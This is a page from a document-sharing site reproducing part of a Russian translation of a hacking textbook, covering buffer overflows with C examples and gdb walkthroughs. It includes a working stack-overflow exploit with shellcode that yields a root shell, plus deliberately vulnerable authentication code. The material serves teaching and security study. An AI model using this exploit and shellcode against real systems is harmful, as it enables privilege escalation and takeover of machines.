Главная страница
Навигация по странице:

  • 0x320 Переполнение буфера

  • 0x321 Переполнение буфера в стеке

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница16 из 51
    1   ...   12   13   14   15   16   17   18   19   ...   51

    0x310 Общая технология эксплойта
    Ошибки на единицу или возникающие при трансляции Unicode отно- сятся к числу тех, которые трудно заметить в момент написания кода, но впоследствии их распознает любой программист. Однако есть не- сколько распространенных ошибок, на которых основаны далеко не столь очевидные эксплойты. Влияние этих ошибок на безопасность не всегда заметно, и соответствующие проблемы с защитой распростране- ны по всему коду. Поскольку одни и те же ошибки совершаются в раз- ных местах, для них были разработаны обобщенные методы эксплой- тов, которыми можно воспользоваться в различных ситуациях.

    0x320 Переполнение буфера
    139
    Большинство программных эксплойтов основаны на искажении дан- ных в памяти. К ним относятся такие стандартные приемы, как экс- плойт переполнения буфера и менее распространенный эксплойт фор- матной строки. Во всех случаях конечной целью является получение контроля над выполнением атакуемой программы, с тем чтобы заста- вить ее выполнить вредоносный фрагмент кода, который теми или иными средствами удалось поместить в память. Это называется вы-
    полнением произвольного кода, поскольку хакер может заставить про- грамму делать практически что угодно. Подобно лазейке ЛаМаккиа, существование таких уязвимостей обусловлено наличием некоторых неожиданных ситуаций, с которыми программа не может справить- ся. В обычных условиях такие нестандартные случаи приводят к кра- ху программы – можно сказать, к ее падению в пропасть со скалы. Но если тщательно контролировать среду, то можно контролировать ис- полнение, предотвращая аварию и перепрограммирование процесса.
    0x320 Переполнение буфера
    Уязвимости вроде переполнения буфера обнаружились еще на заре компьютерной эпохи и продолжают существовать по сей день. Боль- шинство интернет-червей использует для своего распространения пе- реполнение буфера, и даже свежайшая уязвимость нулевого дня, VML в Internet Explorer, связана с переполнением буфера.
    C – язык программирования высокого уровня, но он предполагает, что целостность данных обеспечивает сам программист. Если возложить ответственность за целостность данных на компилятор, то в результате будут получаться исполняемые файлы, которые станут работать зна- чительно медленнее из-за проверок целостности, осуществляемых для каждой переменной. Кроме того, программист в значительной мере утратит контроль над программой, а язык усложнится.
    Простота C позволяет программисту лучше контролировать готовые программы, повышая их эффективность, но если программист недо- статочно внимателен, она может привести к появлению программ, подверженных переполнению буфера или утечкам памяти. Имеет- ся в виду, что если переменной выделена память, то никакие встроен- ные механизмы защиты не обеспечат соответствие размеров помещае- мых в переменную данных и отведенного для нее пространства памя- ти. Если программист захочет записать десять байт данных в буфер, которому выделено только восемь байт памяти, ничто не запретит ему это сделать, даже если в результате почти наверняка последует крах программы. Такое действие называют переполнением буфера, посколь- ку два лишних байта переполнят буфер и разместятся за пределами от- веденной памяти, разрушив то, что находилось дальше. Если будет из- менен важный участок данных, это вызовет крах программы. Соответ- ствующий пример дает следующий код.

    140
    0x300 Эксплойты
    overflow_example.c
    #include
    #include
    int main(int argc, char *argv[]) {
    int value = 5;
    char buffer_one[8], buffer_two[8];
    strcpy(buffer_one, “one”); /* Put “one” into buffer_one. */
    strcpy(buffer_two, “two”); /* Put “two” into buffer_two. */
    printf(“[BEFORE] buffer_two is at %p and contains \’%s\’\n”, buffer_two, buffer_two);
    printf(“[BEFORE] buffer_one is at %p and contains \’%s\’\n”, buffer_one, buffer_one);
    printf(“[BEFORE] value is at %p and is %d (0x%08x)\n”,
    &value, value, value);
    printf(“\n[STRCPY] copying %d bytes into buffer_two\n\n”, strlen(argv[1]));
    strcpy(buffer_two, argv[1]); /* Copy first argument into buffer_two. */
    printf(“[AFTER] buffer_two is at %p and contains \’%s\’\n”, buffer_two, buffer_two);
    printf(“[AFTER] buffer_one is at %p and contains \’%s\’\n”, buffer_one, buffer_one);
    printf(“[AFTER] value is at %p and is %d (0x%08x)\n”,
    &value, value, value);
    }
    Вы уже должны уметь прочитать предложенный исходный код и ра- зобраться в работе этой программы. Ниже показано, как после компи- ляции мы пытаемся скопировать десять байт из первого аргумента ко- мандной строки в buffer_two, в котором для данных выделено всего во- семь байт.
    reader@hacking:

    /booksrc $ gcc -o overflow_example overflow_example.c reader@hacking:/booksrc $ ./overflow_example 1234567890
    [BEFORE] buffer_two is at 0xbffff7f0 and contains ‘two’
    [BEFORE] buffer_one is at 0xbffff7f8 and contains ‘one’
    [BEFORE] value is at 0xbffff804 and is 5 (0x00000005)
    [STRCPY] copying 10 bytes into buffer_two
    [AFTER] buffer_two is at 0xbffff7f0 and contains ‘1234567890’
    [AFTER] buffer_one is at 0xbffff7f8 and contains ‘90’
    [AFTER] value is at 0xbffff804 and is 5 (0x00000005)
    reader@hacking:/booksrc $
    Обратите внимание: buffer_one располагается в памяти сразу за buffer_
    two
    , поэтому при копировании десяти байт в buffer_two последние два байта (90) попадают в buffer_one и замещают находящиеся там данные.

    0x320 Переполнение буфера
    141
    Естественно, если увеличить буфер, его содержимое заместит и другие переменные, а если еще больше его увеличить, то программа аварий- но завершится.
    reader@hacking:/booksrc $ ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    [BEFORE] buffer_two is at 0xbffff7e0 and contains ‘two’
    [BEFORE] buffer_one is at 0xbffff7e8 and contains ‘one’
    [BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)
    [STRCPY] copying 29 bytes into buffer_two
    [AFTER] buffer_two is at 0xbffff7e0 and contains
    ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAA’
    [AFTER] buffer_one is at 0xbffff7e8 and contains ‘AAAAAAAAAAAAAAAAAAAAA’
    [AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141)
    Segmentation fault (core dumped)
    reader@hacking:/booksrc $
    Такого рода ошибки достаточно распространены – вспомните, как ча- сто программы завершаются аварийно или показывают вам синий экран смерти. Здесь недосмотр программиста: ему следовало прове- рять длину или ввести ограничение на размер вводимых пользовате- лем данных. Такие ошибки легко допустить и трудно заметить. На са- мом деле, в программе notesearch.c из раздела 0x283 есть ошибка пере- полнения буфера. Возможно, вы этого не заметили, даже если знаете C.
    reader@hacking:/booksrc $ ./notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    -------[ end of note data ]-------
    Segmentation fault reader@hacking:/booksrc $
    Аварийное завершение программы раздражает, но в руках хакера оно может стать угрожающим. Умелый хакер может перехватить управ- ление программой при ее крахе и получить неожиданные результаты.
    Эту опасность демонстрирует код exploit_notesearch.
    exploit_notesearch.c
    #include
    #include
    #include
    char shellcode[]=
    “\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68”
    “\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89”
    “\xe1\xcd\x80”;
    int main(int argc, char *argv[]) {
    unsigned int i, *ptr, ret, offset=270;
    char *command, *buffer;

    142
    0x300 Эксплойты command = (char *) malloc(200);
    bzero(command, 200); // Обнулить новую память.
    strcpy(command, “./notesearch \’”); // Начать буфер команды.
    buffer = command + strlen(command); // Поместить в конце буфер.
    if(argc > 1) // Задать смещение.
    offset = atoi(argv[1]);
    ret = (unsigned int) &i - offset; // Задать адрес возврата.
    for(i=0; i < 160; i+=4) // Заполнить буфер адресом возврата.
    *((unsigned int *)(buffer+i)) = ret;
    memset(buffer, 0x90, 60); // Построить цепочку NOP.
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
    strcat(command, “\’”);
    system(command); // Запустить эксплойт.
    free(command);
    }
    Подробно код этого эксплойта обсуждается ниже, а общий его смысл в том, чтобы сгенерировать командную строку, которая вызовет про- грамму notesearch, передав ей аргумент в одиночных кавычках. Для этого применяются функции работы со строками: strlen() для полу- чения длины строки (чтобы установить указатель на буфер) и strcat() для дописывания в конец одиночной кавычки. Наконец, командная строка выполняется с помощью функции system. Буфер, помещаемый между кавычками, это главная часть эксплойта. Все остальное служит лишь средством доставки этой отравленной пилюли. Посмотрите, что можно сделать при контроле над аварийным завершением.
    reader@hacking:/booksrc $ gcc exploit_notesearch.c reader@hacking:/booksrc $ ./a.out
    [DEBUG] found a 34 byte note for user id 999
    [DEBUG] found a 41 byte note for user id 999
    -------[ end of note data ]------- sh-3.2#
    С помощью переполнения буфера этот эксплойт предоставляет обо- лочку с правами суперпользователя и, таким образом, полный доступ к компьютеру. Это пример эксплойта, основанного на переполнении буфера в стеке.
    0x321 Переполнение буфера в стеке
    Эксплойт notesearch вносит искажения в память, чтобы получить кон- троль над выполнением программы. Идею иллюстрирует программа
    auth_overflow.c.

    0x320 Переполнение буфера
    143
    auth_overflow.c
    #include
    #include
    #include
    int check_authentication(char *password) {
    int auth_flag = 0;
    char password_buffer[16];
    strcpy(password_buffer, password);
    if(strcmp(password_buffer, “brillig”) == 0)
    auth_flag = 1;
    if(strcmp(password_buffer, “outgrabe”) == 0)
    auth_flag = 1;
    return auth_flag;
    }
    int main(int argc, char *argv[]) {
    if(argc < 2) {
    printf(“Usage: %s
    \n”, argv[0]);
    exit(0);
    }
    if(check_authentication(argv[1])) {
    printf(“\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n”);
    printf(“ Access Granted.\n”);
    printf(“-=-=-=-=-=-=-=-=-=-=-=-=-=-\n”);
    } else {
    printf(“\nAccess Denied.\n”);
    }
    }
    В этом примере в качестве единственного аргумента командной стро- ки принимается пароль, а затем вызывается функция check_authentica- tion()
    . Эта функция допускает два пароля, что должно указывать на возможность нескольких методов аутентификации. Если использован любой из этих двух паролей, функция возвращает 1, что означает раз- решение доступа.
    Все это должно быть понятно вам из исходного кода до компиляции.
    При компиляции воспользуйтесь опцией -g, потому что далее мы зай- мемся отладкой программы.
    reader@hacking:/booksrc $ gcc -g -o auth_overflow auth_overflow.c reader@hacking:/booksrc $ ./auth_overflow
    Usage: ./auth_overflow reader@hacking:/booksrc $ ./auth_overflow test
    Access Denied.
    reader@hacking:/booksrc $ ./auth_overflow brillig

    144
    0x300 Эксплойты
    -=-=-=-=-=-=-=-=-=-=-=-=-=-
    Access Granted.
    -=-=-=-=-=-=-=-=-=-=-=-=-=- reader@hacking:/booksrc $ ./auth_overflow outgrabe
    -=-=-=-=-=-=-=-=-=-=-=-=-=-
    Access Granted.
    -=-=-=-=-=-=-=-=-=-=-=-=-=- reader@hacking:/booksrc $
    Пока все работает так, как подсказывает нам исходный код. Этого и следует ожидать от такого детерминированного объекта, как ком- пьютерная программа. Но переполнение легко может привести к не- ожиданному и даже противоречащему здравому смыслу поведению, когда доступ будет разрешен, несмотря на неверный пароль.
    reader@hacking:/booksrc $ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    -=-=-=-=-=-=-=-=-=-=-=-=-=-
    Access Granted.
    -=-=-=-=-=-=-=-=-=-=-=-=-=- reader@hacking:/booksrc $
    Возможно, вы уже догадались, что произошло, но воспользуемся от- ладчиком, чтобы выяснить конкретные детали.
    reader@hacking:/booksrc $ gdb -q ./auth_overflow
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    (gdb) list 1 1 #include
    2 #include
    3 #include
    4 5 int check_authentication(char *password) {
    6 int auth_flag = 0;
    7 char password_buffer[16];
    8
    9
    strcpy(password_buffer, password);
    10
    (gdb)
    11 if(strcmp(password_buffer, “brillig”) == 0)
    12 auth_flag = 1;
    13 if(strcmp(password_buffer, “outgrabe”) == 0)
    14 auth_flag = 1;
    15
    16
    return auth_flag;
    17 }
    18 19 int main(int argc, char *argv[]) {
    20 if(argc < 2) {
    (gdb) break 9
    Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9.

    0x320 Переполнение буфера
    145
    (gdb) break 16
    Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16.
    (gdb)
    Отладчик GDB запущен с опцией -q, запрещающей вывод приветствен- ного баннера, а точки останова установлены в строках 9 и 16. После за- пуска программы ее выполнение прервется в этих точках, и мы полу- чим возможность изучить содержимое памяти.
    (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Starting program: /home/reader/booksrc/auth_overflow
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Breakpoint 1, check_authentication (password=0xbffff9af ‘A’ ) at auth_overflow.c:9 9 strcpy(password_buffer, password);
    (gdb) x/s password_buffer
    0xbffff7a0: “)????o??????)\205\004\b?o??p???????”
    (gdb) x/x &auth_flag
    0xbffff7bc: 0x00000000
    (gdb) print 0xbffff7bc - 0xbffff7a0
    $1 = 28
    (gdb) x/16xw password_buffer
    0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529 0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8 0x00000000
    0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb
    0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc
    (gdb)
    Первая точка останова находится перед вызовом strcpy(). Иссле- дуя указатель password_buffer, мы видим, что он указывает на адрес
    0xbffff7a0
    , где находятся случайные неинициализированные данные.
    Изучая переменную auth_flag, мы видим, что она хранится по адресу
    0xbffff7bc и ее значение 0. С помощью команды print, позволяющей выполнять арифметические действия, обнаруживаем, что auth_flag на- ходится через 28 байт после password_buffer. Это видно также по распе- чатке блока памяти начиная с password_buffer. Адрес auth_flag выделен полужирным.
    (gdb) continue
    Continuing.
    Breakpoint 2, check_authentication (password=0xbffff9af ‘A’ ) at auth_overflow.c:16 16 return auth_flag;
    (gdb) x/s password_buffer
    0xbffff7a0: ‘A’
    (gdb) x/x &auth_flag
    0xbffff7bc: 0x00004141
    (gdb) x/16xw password_buffer

    146
    0x300 Эксплойты
    0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141
    0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb
    0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc
    (gdb) x/4cb &auth_flag
    0xbffff7bc: 65 ‘A’ 65 ‘A’ 0 ‘\0’ 0 ‘\0’
    (gdb) x/dw &auth_flag
    0xbffff7bc: 16705
    (gdb)
    Продолжим работу до следующей точки останова (после strcpy()) и сно- ва посмотрим на эти адреса памяти. Переполнение password_buffer из- менило первые два байта auth_flag на 0x41. Значение 0x00004141 выгля- дит как переставленное задом наперед, но вспомним, что архитекту- ра x86 предполагает хранение начиная с младшего байта, поэтому все правильно. Посмотрев на эти четыре байта отдельно, можно увидеть, как они на самом деле расположены в памяти. В конечном итоге про- грамма рассматривает это значение как целое число 16 705.
    (gdb) continue
    Continuing.
    -=-=-=-=-=-=-=-=-=-=-=-=-=-
    Access Granted.
    -=-=-=-=-=-=-=-=-=-=-=-=-=-
    Program exited with code 034.
    (gdb)
    После того как произойдет переполнение буфера, функция check_au- thentication()
    вернет вместо 0 значение 16 705. Поскольку оператор if любое ненулевое значение рассматривает как подтверждение аутен- тификации, управление передается в ту часть, которая соответствует успешной проверке. В данном примере переменная auth_flag является точкой останова управления, и изменение ее значения определяет ход выполнения программы.
    Однако это слишком искусственный пример, зависящий от располо- жения переменных в памяти. В программе auth_overflow2.c перемен- ные объявляются в обратном порядке. (Изменения относительно auth_
    overflow.c выделены полужирным.)
    auth_overflow2.c
    #include
    #include
    #include
    int check_authentication(char *password) {
    char password_buffer[16];
    int auth_flag = 0;

    0x320 Переполнение буфера
    147
    strcpy(password_buffer, password);
    if(strcmp(password_buffer, “brillig”) == 0)
    auth_flag = 1;
    if(strcmp(password_buffer, “outgrabe”) == 0)
    auth_flag = 1;
    return auth_flag;
    }
    int main(int argc, char *argv[]) {
    if(argc < 2) {
    printf(“Usage: %s
    \n”, argv[0]);
    exit(0);
    }
    if(check_authentication(argv[1])) {
    printf(“\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n”);
    printf(“ Access Granted.\n”);
    printf(“-=-=-=-=-=-=-=-=-=-=-=-=-=-\n”);
    } else {
    printf(“\nAccess Denied.\n”);
    }
    }
    Это простое изменение размещает в памяти переменную auth_flag пе- ред массивом password_buffer. Тем самым нельзя больше воспользовать- ся переменной return_value для управления выполнением программы, потому что переполнение буфера перестало разрушать ее значения.
    reader@hacking:/booksrc $ gcc -g auth_overflow2.c reader@hacking:/booksrc $ gdb -q ./a.out
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    (gdb) list 1 1 #include
    2 #include
    3 #include
    4 5 int check_authentication(char *password) {
    6 char password_buffer[16];
    7 int auth_flag = 0;
    8 9 strcpy(password_buffer, password);
    10
    (gdb)
    11 if(strcmp(password_buffer, “brillig”) == 0)
    12 auth_flag = 1;
    13 if(strcmp(password_buffer, “outgrabe”) == 0)
    14 auth_flag = 1;
    15 16 return auth_flag;
    17 }
    18

    1   ...   12   13   14   15   16   17   18   19   ...   51


    написать администратору сайта